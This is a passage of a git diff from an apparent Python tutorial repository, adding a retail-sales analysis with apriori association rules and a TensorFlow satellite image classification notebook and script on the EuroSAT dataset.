+# Using groupby to extract No. of Invoices year-monthwise
+ax = dataset1.groupby('InvoiceNo')['year_month'].unique().value_counts().sort_index().plot(kind='bar',figsize=(15,6))
+# Labelling the X axis
+ax.set_xlabel('Month',fontsize=15)
+# Labelling the Y-axis
+ax.set_ylabel('Number of Orders',fontsize=15)
+# Giving suitable title to the plot
+ax.set_title('Number of orders for different Months (Dec 2010 - Dec 2011)',fontsize=15)
+# Providing with X tick labels
+ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','Jun_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11','Dec_11'), rotation='horizontal', fontsize=13)
+
+plt.show()
+
+# %%
+# Day = 6 is Saturday.no orders placed
+dataset1[dataset1['day']==6]
+
+# %%
+# Using groupby to count no. of Invoices daywise
+ax = dataset1.groupby('InvoiceNo')['day'].unique().value_counts().sort_index().plot(kind='bar',figsize=(15,6))
+# Labelling X axis
+ax.set_xlabel('Day',fontsize=15)
+# Labelling Y axis
+ax.set_ylabel('Number of Orders',fontsize=15)
+# Giving suitable title to the plot
+ax.set_title('Number of orders for different Days',fontsize=15)
+# Providing with X tick labels
+# Since there are no orders placed on Saturdays, we are excluding Sat from xticklabels
+ax.set_xticklabels(('Mon','Tue','Wed','Thur','Fri','Sun'), rotation='horizontal', fontsize=15)
+
+plt.show()
+
+# %%
+# Using groupby to count the no. of Invoices hourwise
+ax = dataset1.groupby('InvoiceNo')['hour'].unique().value_counts().iloc[:-2].sort_index().plot(kind='bar',figsize=(15,6))
+# Labelling X axis
+ax.set_xlabel('Hour',fontsize=15)
+# Labelling Y axis
+ax.set_ylabel('Number of Orders',fontsize=15)
+# Giving suitable title to the plot
+ax.set_title('Number of orders for different Hours', fontsize=15)
+# Providing with X tick lables ( all orders are placed between 6 and 20 hour )
+ax.set_xticklabels(range(6,21), rotation='horizontal', fontsize=15)
+plt.show()
+
+# %%
+dataset1.UnitPrice.describe()
+
+# %%
+# checking the distribution of unit price
+plt.subplots(figsize=(12,6))
+# Using darkgrid style for better visualization
+sns.set_style('darkgrid')
+# Applying boxplot visualization on Unit Price
+sns.boxplot(dataset1.UnitPrice)
+plt.show()
+
+# %%
+# Creating a new df of free items
+freeproducts = dataset1[dataset1['UnitPrice'] == 0]
+freeproducts.head()
+
+# %%
+# Counting how many free items were given out year-month wise
+freeproducts.year_month.value_counts().sort_index()
+
+# %%
+# Counting how many free items were given out year-month wise
+ax = freeproducts.year_month.value_counts().sort_index().plot(kind='bar',figsize=(12,6))
+# Labelling X-axis
+ax.set_xlabel('Month',fontsize=15)
+# Labelling Y-axis
+ax.set_ylabel('Frequency',fontsize=15)
+# Giving suitable title to the plot
+ax.set_title('Frequency for different Months (Dec 2010 - Dec 2011)',fontsize=15)
+# Providing X tick labels
+# Since there are 0 free items in June 2011, we are excluding it
+ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11'), rotation='horizontal', fontsize=13)
+plt.show()
+
+# %%
+plt.style.use('bmh')
+# Using groupby to sum the amount spent year-month wise
+ax = dataset1.groupby('year_month')['Amount'].sum().sort_index().plot(kind='bar',figsize=(15,6))
+# Labelling X axis
+ax.set_xlabel('Month',fontsize=15)
+# Labelling Y axis
+ax.set_ylabel('Amount',fontsize=15)
+# Giving suitable title to the plot
+ax.set_title('Revenue Generated for different Months (Dec 2010 - Dec 2011)',fontsize=15)
+# Providing with X tick labels
+ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','Jun_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11','Dec_11'), rotation='horizontal', fontsize=13)
+plt.show()
+
+# %%
+# Creating a new pivot table which sums the Quantity ordered for each item
+most_sold= dataset1.pivot_table(index=['StockCode','Description'], values='Quantity', aggfunc='sum').sort_values(by='Quantity', ascending=False)
+most_sold.reset_index(inplace=True)
+sns.set_style('white')
+# Creating a bar plot of Description ( or the item ) on the Y axis and the sum of Quantity on the X axis
+# We are plotting only the 10 most ordered items
+sns.barplot(y='Description', x='Quantity', data=most_sold.head(10))
+# Giving suitable title to the plot
+plt.title('Top 10 Items based on No. of Sales', fontsize=14)
+plt.ylabel('Item')
+
+# %%
+# choosing WHITE HANGING HEART T-LIGHT HOLDER as a sample
+d_white = dataset1[dataset1['Description']=='WHITE HANGING HEART T-LIGHT HOLDER']
+
+# %%
+# WHITE HANGING HEART T-LIGHT HOLDER has been ordered 2028 times
+d_white.shape
+
+# %%
+# WHITE HANGING HEART T-LIGHT HOLDER has been ordered by 856 customers
+len(d_white.CustomerID.unique())
+
+# %%
+# Creating a pivot table that displays the sum of unique Customers who bought particular item
+
+most_customers = dataset1.pivot_table(index=['StockCode','Description'], values='CustomerID', aggfunc=lambda x: len(x.unique())).sort_values(by='CustomerID', ascending=False)
+most_customers
+# Since the count for WHITE HANGING HEART T-LIGHT HOLDER matches above length 856, the pivot table looks correct for all items
+
+# %%
+most_customers.reset_index(inplace=True)
+sns.set_style('white')
+# Creating a bar plot of Description ( or the item ) on the Y axis and the sum of unique Customers on the X axis
+# We are plotting only the 10 most bought items
+sns.barplot(y='Description', x='CustomerID', data=most_customers.head(10))
+# Giving suitable title to the plot
+plt.title('Top 10 Items bought by Most no. of Customers', fontsize=14)
+plt.ylabel('Item')
+
+# %%
+# Storing all the invoice numbers into a list y
+y = dataset1['InvoiceNo']
+y = y.to_list()
+# Using set function to find unique invoice numbers only and storing them in invoices list
+invoices = list(set(y))
+# Creating empty list first_choices
+firstchoices = []
+# looping into list of unique invoice numbers
+for i in invoices:
+
+ # the first item (index = 0) of every invoice is the first purchase
+ # extracting the item name for the first purchase
+ firstpurchase = dataset1[dataset1['InvoiceNo']==i]['items'].reset_index(drop=True)[0]
+
+ # Appending the first purchase name into first choices list
+ firstchoices.append(firstpurchase)
+firstchoices[:5]
+
+# %%
+# Using counter to count repeating first choices
+count = Counter(firstchoices)
+# Storing the counter into a datafrane
+data_first_choices = pd.DataFrame.from_dict(count, orient='index').reset_index()
+# Rename columns as item and count
+data_first_choices.rename(columns={'index':'item', 0:'count'},inplace=True)
+# Sorting the data based on count
+data_first_choices.sort_values(by='count',ascending=False)
+
+# %%
+plt.subplots(figsize=(20,10))
+sns.set_style('white')
+# Creating a bar plot that displays Item name on the Y axis and Count on the X axis
+sns.barplot(y='item', x='count', data=data_first_choices.sort_values(by='count',ascending=False).head(10))
+# Giving suitable title to the plot
+plt.title('Top 10 First Choices', fontsize=14)
+plt.ylabel('Item')
+
+# %%
+basket = (dataset1.groupby(['InvoiceNo', 'Description'])['Quantity'].sum().unstack().reset_index().fillna(0).set_index('InvoiceNo'))
+basket.head(10)
+
+# %%
+def encode_u(x):
+ if x < 1:
+ return 0
+ if x >= 1:
+ return 1
+
+basket = basket.applymap(encode_u)
+# everything is encoded into 0 and 1
+basket.head(10)
+
+# %%
+# trying out on a sample item
+wooden_star = basket.loc[basket['WOODEN STAR CHRISTMAS SCANDINAVIAN']==1]
+# Using apriori algorithm, creating association rules for the sample item
+# Applying apriori algorithm for wooden_star
+frequentitemsets = apriori(wooden_star, min_support=0.15, use_colnames=True)
+# Storing the association rules into rules
+wooden_star_rules = association_rules(frequentitemsets, metric="lift", min_threshold=1)
+# Sorting the rules on lift and support
+wooden_star_rules.sort_values(['lift','support'],ascending=False).reset_index(drop=True)
+
+# %%
+# In other words, it returns the items which are likely to be bought by user because he bought the item passed into function
+def frequently_bought_t(item):
+ # df of item passed
+ item_d = basket.loc[basket[item]==1]
+ # Applying apriori algorithm on item df
+ frequentitemsets = apriori(item_d, min_support=0.15, use_colnames=True)
+ # Storing association rules
+ rules = association_rules(frequentitemsets, metric="lift", min_threshold=1)
+ # Sorting on lift and support
+ rules.sort_values(['lift','support'],ascending=False).reset_index(drop=True)
+ print('Items frequently bought together with {0}'.format(item))
+ # Returning top 6 items with highest lift and support
+ return rules['consequents'].unique()[:6]
+
+# %%
+frequently_bought_t('WOODEN STAR CHRISTMAS SCANDINAVIAN')
+
+# %%
+frequently_bought_t('JAM MAKING SET WITH JARS')
+
+# %%
+
+
+
diff --git a/machine-learning/recommender-system-using-association-rules/requirements.txt b/machine-learning/recommender-system-using-association-rules/requirements.txt
new file mode 100644
index 00000000..7528beee
--- /dev/null
+++ b/machine-learning/recommender-system-using-association-rules/requirements.txt
@@ -0,0 +1,7 @@
+pandas==1.1.5
+mlxtend==0.14.0
+numpy==1.19.5
+seaborn==0.11.1
+matplotlib==3.2.2
+matplotlib-inline==0.1.3
+openpyxl
\ No newline at end of file
diff --git a/machine-learning/satellite-image-classification/README.md b/machine-learning/satellite-image-classification/README.md
new file mode 100644
index 00000000..0930a856
--- /dev/null
+++ b/machine-learning/satellite-image-classification/README.md
@@ -0,0 +1,4 @@
+# [Satellite Image Classification using TensorFlow in Python](https://www.thepythoncode.com/article/satellite-image-classification-using-tensorflow-python)
+
+To run this:
+- `pip3 install -r requirements.txt`
\ No newline at end of file
diff --git a/machine-learning/satellite-image-classification/Satellite_Image_Classification_with_TensorFlow_PythonCode.ipynb b/machine-learning/satellite-image-classification/Satellite_Image_Classification_with_TensorFlow_PythonCode.ipynb
new file mode 100644
index 00000000..d3eab9a3
--- /dev/null
+++ b/machine-learning/satellite-image-classification/Satellite_Image_Classification_with_TensorFlow_PythonCode.ipynb
@@ -0,0 +1,482 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "siBWl3-lEd8x",
+ "outputId": "77a7acbf-6f53-4c5c-e713-9968f8b561b8"
+ },
+ "outputs": [],
+ "source": [
+ "!pip install tensorflow tensorflow_addons tensorflow_datasets tensorflow_hub numpy matplotlib seaborn"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "HHEXVxQw_g5B"
+ },
+ "outputs": [],
+ "source": [
+ "import os\n",
+ "\n",
+ "import numpy as np\n",
+ "import matplotlib.pyplot as plt\n",
+ "import seaborn as sns\n",
+ "import tensorflow as tf\n",
+ "import tensorflow_datasets as tfds\n",
+ "import tensorflow_hub as hub\n",
+ "import tensorflow_addons as tfa"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "dgKI5S4DC31Z"
+ },
+ "outputs": [],
+ "source": [
+ "# load the whole dataset, for data info\n",
+ "all_ds = tfds.load(\"eurosat\", with_info=True)\n",
+ "# load training, testing & validation sets, splitting by 60%, 20% and 20% respectively\n",
+ "train_ds = tfds.load(\"eurosat\", split=\"train[:60%]\")\n",
+ "test_ds = tfds.load(\"eurosat\", split=\"train[60%:80%]\")\n",
+ "valid_ds = tfds.load(\"eurosat\", split=\"train[80%:]\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "AcBsiqtBcwwF"
+ },
+ "outputs": [],
+ "source": [
+ "# the class names\n",
+ "class_names = all_ds[1].features[\"label\"].names\n",
+ "# total number of classes (10)\n",
+ "num_classes = len(class_names)\n",
+ "num_examples = all_ds[1].splits[\"train\"].num_examples"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 621
+ },
+ "id": "MjrKwojyo-kE",
+ "outputId": "c8ef6c03-9035-4785-d236-c9c104412e34"
+ },
+ "outputs": [],
+ "source": [
+ "# make a plot for number of samples on each class\n",
+ "fig, ax = plt.subplots(1, 1, figsize=(14,10))\n",
+ "labels, counts = np.unique(np.fromiter(all_ds[0][\"train\"].map(lambda x: x[\"label\"]), np.int32), \n",
+ " return_counts=True)\n",
+ "\n",
+ "plt.ylabel('Counts')\n",
+ "plt.xlabel('Labels')\n",
+ "sns.barplot(x = [class_names[l] for l in labels], y = counts, ax=ax) \n",
+ "for i, x_ in enumerate(labels):\n",
+ " ax.text(x_-0.2, counts[i]+5, counts[i])\n",
+ "# set the title\n",
+ "ax.set_title(\"Bar Plot showing Number of Samples on Each Class\")\n",
+ "# save the image\n",
+ "# plt.savefig(\"class_samples.png\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "g60GgX9hEPBc"
+ },
+ "outputs": [],
+ "source": [
+ "def prepare_for_training(ds, cache=True, batch_size=64, shuffle_buffer_size=1000):\n",
+ " if cache:\n",
+ " if isinstance(cache, str):\n",
+ " ds = ds.cache(cache)\n",
+ " else:\n",
+ " ds = ds.cache()\n",
+ " ds = ds.map(lambda d: (d[\"image\"], tf.one_hot(d[\"label\"], num_classes)))\n",
+ " # shuffle the dataset\n",
+ " ds = ds.shuffle(buffer_size=shuffle_buffer_size)\n",
+ " # Repeat forever\n",
+ " ds = ds.repeat()\n",
+ " # split to batches\n",
+ " ds = ds.batch(batch_size)\n",
+ " # `prefetch` lets the dataset fetch batches in the background while the model\n",
+ " # is training.\n",
+ " ds = ds.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)\n",
+ " return ds"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "TP_CGr3kNw0c"
+ },
+ "outputs": [],
+ "source": [
+ "batch_size = 64\n",
+ "\n",
+ "# preprocess training & validation sets\n",
+ "train_ds = prepare_for_training(train_ds, batch_size=batch_size)\n",
+ "valid_ds = prepare_for_training(valid_ds, batch_size=batch_size)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "vP-ioWj9e37z",
+ "outputId": "2b455894-72e9-4771-905c-5b58701d3a98"
+ },
+ "outputs": [],
+ "source": [
+ "# validating shapes\n",
+ "for el in valid_ds.take(1):\n",
+ " print(el[0].shape, el[1].shape)\n",
+ "for el in train_ds.take(1):\n",
+ " print(el[0].shape, el[1].shape) "
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "cIW7hbHhOVq0"
+ },
+ "outputs": [],
+ "source": [
+ "# take the first batch of the training set\n",
+ "batch = next(iter(train_ds))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 473
+ },
+ "id": "TNRbCVp6Na1A",
+ "outputId": "412e7412-86f9-467d-d88d-eaa9fd12600a"
+ },
+ "outputs": [],
+ "source": [
+ "def show_batch(batch):\n",
+ " plt.figure(figsize=(16, 16))\n",
+ " for n in range(min(32, batch_size)):\n",
+ " ax = plt.subplot(batch_size//8, 8, n + 1)\n",
+ " # show the image\n",
+ " plt.imshow(batch[0][n])\n",
+ " # and put the corresponding label as title upper to the image\n",
+ " plt.title(class_names[tf.argmax(batch[1][n].numpy())])\n",
+ " plt.axis('off')\n",
+ " plt.savefig(\"sample-images.png\")\n",
+ "\n",
+ "# showing a batch of images along with labels\n",
+ "show_batch(batch)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "JMVzjuqmoOcB"
+ },
+ "outputs": [],
+ "source": [
+ "model_url = \"https://tfhub.dev/google/imagenet/efficientnet_v2_imagenet1k_l/feature_vector/2/"\n",
+ "\n",
+ "# download & load the layer as a feature vector\n",
+ "keras_layer = hub.KerasLayer(model_url, output_shape=[1280], trainable=True)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "uhKLvFpkfiCr"
+ },
+ "outputs": [],
+ "source": [
+ "m = tf.keras.Sequential([\n",
+ " keras_layer,\n",
+ " tf.keras.layers.Dense(num_classes, activation=\"softmax\")\n",
+ "])\n",
+ "# build the model with input image shape as (64, 64, 3)\n",
+ "m.build([None, 64, 64, 3])\n",
+ "m.compile(\n",
+ " loss=\"categorical_crossentropy\", \n",
+ " optimizer=\"adam\", \n",
+ " metrics=[\"accuracy\", tfa.metrics.F1Score(num_classes)]\n",
+ ")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "-QMzJ4-fhD-B",
+ "outputId": "e9101d76-e18c-42e6-b27c-08c1e037f81a"
+ },
+ "outputs": [],
+ "source": [
+ "m.summary()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "I0vYaHjPhUDF"
+ },
+ "outputs": [],
+ "source": [
+ "model_name = \"satellite-classification\"\n",
+ "model_path = os.path.join(\"results\", model_name + \".h5\")\n",
+ "model_checkpoint = tf.keras.callbacks.ModelCheckpoint(model_path, save_best_only=True, verbose=1)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "IP93lr9DdH9J"
+ },
+ "outputs": [],
+ "source": [
+ "n_training_steps = int(num_examples * 0.6) // batch_size\n",
+ "n_validation_steps = int(num_examples * 0.2) // batch_size"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "mUp9ocf-hnlC",
+ "outputId": "7f372750-7fa9-4dad-8286-bb324ff56219"
+ },
+ "outputs": [],
+ "source": [
+ "history = m.fit(\n",
+ " train_ds, validation_data=valid_ds,\n",
+ " steps_per_epoch=n_training_steps,\n",
+ " validation_steps=n_validation_steps,\n",
+ " verbose=1, epochs=5, \n",
+ " callbacks=[model_checkpoint]\n",
+ ")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "9kjuwUEEXWQ5"
+ },
+ "outputs": [],
+ "source": [
+ "# number of testing steps\n",
+ "n_testing_steps = int(all_ds[1].splits[\"train\"].num_examples * 0.2)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "6U_pHoLGKj-f"
+ },
+ "outputs": [],
+ "source": [
+ "m.load_weights(model_path)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "JWL3NBXfXhTQ",
+ "outputId": "2786d6a0-af1f-47ae-9927-a495100989cc"
+ },
+ "outputs": [],
+ "source": [
+ "# get all testing images as NumPy array\n",
+ "images = np.array([ d[\"image\"] for d in test_ds.take(n_testing_steps) ])\n",
+ "print(\"images.shape:\", images.shape)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "sgq55TrQVtr3",
+ "outputId": "f4c51aaa-8229-444f-ee76-1d9385b94f3e"
+ },
+ "outputs": [],
+ "source": [
+ "# get all testing labels as NumPy array\n",
+ "labels = np.array([ d[\"label\"] for d in test_ds.take(n_testing_steps) ])\n",
+ "print(\"labels.shape:\", labels.shape)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "5UbOsNtmXDqR",
+ "outputId": "a8a5d860-b570-4639-fcf4-36b56db97421"
+ },
+ "outputs": [],
+ "source": [
+ "# feed the images to get predictions\n",
+ "predictions = m.predict(images)\n",
+ "# perform argmax to get class index\n",
+ "predictions = np.argmax(predictions, axis=1)\n",
+ "print(\"predictions.shape:\", predictions.shape)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "GX-GkI9Gy1hS",
+ "outputId": "5ecd1703-093c-4cb8-a8fa-2111e7fb670b"
+ },
+ "outputs": [],
+ "source": [
+ "from sklearn.metrics import f1_score\n",
+ "\n",
+ "accuracy = tf.keras.metrics.Accuracy()\n",
+ "accuracy.update_state(labels, predictions)\n",
+ "print(\"Accuracy:\", accuracy.result().numpy())\n",
+ "print(\"F1 Score:\", f1_score(labels, predictions, average=\"macro\"))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 736
+ },
+ "id": "yszXAmfdVcOA",
+ "outputId": "56bb4353-4c37-405d-fc18-9f17e19a8c71"
+ },
+ "outputs": [],
+ "source": [
+ "# compute the confusion matrix\n",
+ "cmn = tf.math.confusion_matrix(labels, predictions).numpy()\n",
+ "# normalize the matrix to be in percentages\n",
+ "cmn = cmn.astype('float') / cmn.sum(axis=0)[:, np.newaxis]\n",
+ "# make a plot for the confusion matrix\n",
+ "fig, ax = plt.subplots(figsize=(10,10))\n",
+ "sns.heatmap(cmn, annot=True, fmt='.2f', \n",
+ " xticklabels=[f\"pred_{c}\" for c in class_names], \n",
+ " yticklabels=[f\"true_{c}\" for c in class_names],\n",
+ " # cmap=\"Blues\"\n",
+ " cmap=\"rocket_r\"\n",
+ " )\n",
+ "plt.ylabel('Actual')\n",
+ "plt.xlabel('Predicted')\n",
+ "# plot the resulting confusion matrix\n",
+ "plt.savefig(\"confusion-matrix.png\")\n",
+ "# plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 808
+ },
+ "id": "txdBO11IbF8e",
+ "outputId": "5de1a7a1-1039-475a-8bfa-3e02a4e984a1"
+ },
+ "outputs": [],
+ "source": [
+ "def show_predicted_samples():\n",
+ " plt.figure(figsize=(14, 14))\n",
+ " for n in range(64):\n",
+ " ax = plt.subplot(8, 8, n + 1)\n",
+ " # show the image\n",
+ " plt.imshow(images[n])\n",
+ " # and put the corresponding label as title upper to the image\n",
+ " if predictions[n] == labels[n]:\n",
+ " # correct prediction\n",
+ " ax.set_title(class_names[predictions[n]], color=\"green\")\n",
+ " else:\n",
+ " # wrong prediction\n",
+ " ax.set_title(f\"{class_names[predictions[n]]}/T:{class_names[labels[n]]}\", color=\"red\")\n",
+ " plt.axis('off')\n",
+ " plt.savefig(\"predicted-sample-images.png\")\n",
+ "\n",
+ "# showing a batch of images along with predictions labels\n",
+ "show_predicted_samples()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "xgd0y1Ul5aQi"
+ },
+ "outputs": [],
+ "source": []
+ }
+ ],
+ "metadata": {
+ "accelerator": "GPU",
+ "colab": {
+ "collapsed_sections": [],
+ "name": "Satellite-Image-Classification-with-TensorFlow_PythonCode.ipynb",
+ "provenance": []
+ },
+ "kernelspec": {
+ "display_name": "Python 3",
+ "name": "python3"
+ },
+ "language_info": {
+ "name": "python"
+ }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 0
+}
diff --git a/machine-learning/satellite-image-classification/requirements.txt b/machine-learning/satellite-image-classification/requirements.txt
new file mode 100644
index 00000000..107485ff
--- /dev/null
+++ b/machine-learning/satellite-image-classification/requirements.txt
@@ -0,0 +1,8 @@
+tensorflow
+tensorflow_addons
+tensorflow_datasets
+tensorflow_hub
+numpy
+matplotlib
+seaborn
+sklearn
\ No newline at end of file
diff --git a/machine-learning/satellite-image-classification/satellite_image_classification_with_tensorflow_pythoncode.py b/machine-learning/satellite-image-classification/satellite_image_classification_with_tensorflow_pythoncode.py
new file mode 100644
index 00000000..f306a8c6
--- /dev/null
+++ b/machine-learning/satellite-image-classification/satellite_image_classification_with_tensorflow_pythoncode.py
@@ -0,0 +1,193 @@
+# -*- coding: utf-8 -*-
+"""Satellite-Image-Classification-with-TensorFlow_PythonCode.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+ https://colab.research.google.com/drive/1SVpaW9HSebpHNYf6LXTm7elnHOSdQA5i
+"""
+
+!pip install tensorflow tensorflow_addons tensorflow_datasets tensorflow_hub numpy matplotlib seaborn
+
+import os
+
+import numpy as np
+import matplotlib.pyplot as plt
+import seaborn as sns
+import tensorflow as tf
+import tensorflow_datasets as tfds
+import tensorflow_hub as hub
+import tensorflow_addons as tfa
+
+# load the whole dataset, for data info
+all_ds = tfds.load("eurosat", with_info=True)
+# load training, testing & validation sets, splitting by 60%, 20% and 20% respectively
+train_ds = tfds.load("eurosat", split="train[:60%]")
+test_ds = tfds.load("eurosat", split="train[60%:80%]")
+valid_ds = tfds.load("eurosat", split="train[80%:]")
+
+# the class names
+class_names = all_ds[1].features["label"].names
+# total number of classes (10)
+num_classes = len(class_names)
+num_examples = all_ds[1].splits["train"].num_examples
+
+# make a plot for number of samples on each class
+fig, ax = plt.subplots(1, 1, figsize=(14,10))
+labels, counts = np.unique(np.fromiter(all_ds[0]["train"].map(lambda x: x["label"]), np.int32),
+ return_counts=True)
+
+plt.ylabel('Counts')
+plt.xlabel('Labels')
+sns.barplot(x = [class_names[l] for l in labels], y = counts, ax=ax)
+for i, x_ in enumerate(labels):
+ ax.text(x_-0.2, counts[i]+5, counts[i])
+# set the title
+ax.set_title("Bar Plot showing Number of Samples on Each Class")
+# save the image
+# plt.savefig("class_samples.png")
+
+def prepare_for_training(ds, cache=True, batch_size=64, shuffle_buffer_size=1000):
+ if cache:
+ if isinstance(cache, str):
+ ds = ds.cache(cache)
+ else:
+ ds = ds.cache()
+ ds = ds.map(lambda d: (d["image"], tf.one_hot(d["label"], num_classes)))
+ # shuffle the dataset
+ ds = ds.shuffle(buffer_size=shuffle_buffer_size)
+ # Repeat forever
+ ds = ds.repeat()
+ # split to batches
+ ds = ds.batch(batch_size)
+ # `prefetch` lets the dataset fetch batches in the background while the model
+ # is training.
+ ds = ds.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)
+ return ds
+
+batch_size = 64
+
+# preprocess training & validation sets
+train_ds = prepare_for_training(train_ds, batch_size=batch_size)
+valid_ds = prepare_for_training(valid_ds, batch_size=batch_size)
+
+# validating shapes
+for el in valid_ds.take(1):
+ print(el[0].shape, el[1].shape)
+for el in train_ds.take(1):
+ print(el[0].shape, el[1].shape)
+
+# take the first batch of the training set
+batch = next(iter(train_ds))
+
+def show_batch(batch):
+ plt.figure(figsize=(16, 16))
+ for n in range(min(32, batch_size)):
+ ax = plt.subplot(batch_size//8, 8, n + 1)
+ # show the image
+ plt.imshow(batch[0][n])
+ # and put the corresponding label as title upper to the image
+ plt.title(class_names[tf.argmax(batch[1][n].numpy())])
+ plt.axis('off')
+ plt.savefig("sample-images.png")
+
+# showing a batch of images along with labels
+show_batch(batch)
+
+model_url = "https://tfhub.dev/google/imagenet/efficientnet_v2_imagenet1k_l/feature_vector/2"
+
+# download & load the layer as a feature vector
+keras_layer = hub.KerasLayer(model_url, output_shape=[1280], trainable=True)
+
+m = tf.keras.Sequential([
+ keras_layer,
+ tf.keras.layers.Dense(num_classes, activation="softmax")
+])
+# build the model with input image shape as (64, 64, 3)
+m.build([None, 64, 64, 3])
+m.compile(
+ loss="categorical_crossentropy",
+ optimizer="adam",
+ metrics=["accuracy", tfa.metrics.F1Score(num_classes)]
+)
+
+m.summary()
+
+model_name = "satellite-classification"
+model_path = os.path.join("results", model_name + ".h5")
+model_checkpoint = tf.keras.callbacks.ModelCheckpoint(model_path, save_best_only=True, verbose=1)
+
+n_training_steps = int(num_examples * 0.6) // batch_size
+n_validation_steps = int(num_examples * 0.2) // batch_size
+
+history = m.fit(
+ train_ds, validation_data=valid_ds,
+ steps_per_epoch=n_training_steps,
+ validation_steps=n_validation_steps,
+ verbose=1, epochs=5,
+ callbacks=[model_checkpoint]
+)
+
+# number of testing steps
+n_testing_steps = int(all_ds[1].splits["train"].num_examples * 0.2)
+
+m.load_weights(model_path)
+
+# get all testing images as NumPy array
+images = np.array([ d["image"] for d in test_ds.take(n_testing_steps) ])
+print("images.shape:", images.shape)
+
+# get all testing labels as NumPy array
+labels = np.array([ d["label"] for d in test_ds.take(n_testing_steps) ])
+print("labels.shape:", labels.shape)
+
+# feed the images to get predictions
+predictions = m.predict(images)
+# perform argmax to get class index
+predictions = np.argmax(predictions, axis=1)
+print("predictions.shape:", predictions.shape)
+
+from sklearn.metrics import f1_score
+
+accuracy = tf.keras.metrics.Accuracy()
+accuracy.update_state(labels, predictions)
+print("Accuracy:", accuracy.result().numpy())
+print("F1 Score:", f1_score(labels, predictions, average="macro"))
+
+# compute the confusion matrix
+cmn = tf.math.confusion_matrix(labels, predictions).numpy()
+# normalize the matrix to be in percentages
+cmn = cmn.astype('float') / cmn.sum(axis=0)[:, np.newaxis]
+# make a plot for the confusion matrix
+fig, ax = plt.subplots(figsize=(10,10))
+sns.heatmap(cmn, annot=True, fmt='.2f',
+ xticklabels=[f"pred_{c}" for c in class_names],
+ yticklabels=[f"true_{c}" for c in class_names],
+ # cmap="Blues"
+ cmap="rocket_r"
+ )
+plt.ylabel('Actual')
+plt.xlabel('Predicted')
+# plot the resulting confusion matrix
+plt.savefig("confusion-matrix.png")
+# plt.show()
+
+def show_predicted_samples():
+ plt.figure(figsize=(14, 14))
+ for n in range(64):
+ ax = plt.subplot(8, 8, n + 1)
+ # show the image
+ plt.imshow(images[n])
+ # and put the corresponding label as title upper to the image
+ if predictions[n] == labels[n]:
+ # correct prediction
+ ax.set_title(class_names[predictions[n]], color="green")
+ else:
+ # wrong prediction
+ ax.set_title(f"{class_names[predictions[n]]}/T:{class_names[labels[n]]}", color="red")
+ plt.axis('off')
+ plt.savefig("predicted-sample-images.png")
+
+# showing a batch of images along with predictions labels
+show_predicted_samples()
+
diff --git a/machine-learning/sift/README.md b/machine-learning/sift/README.md
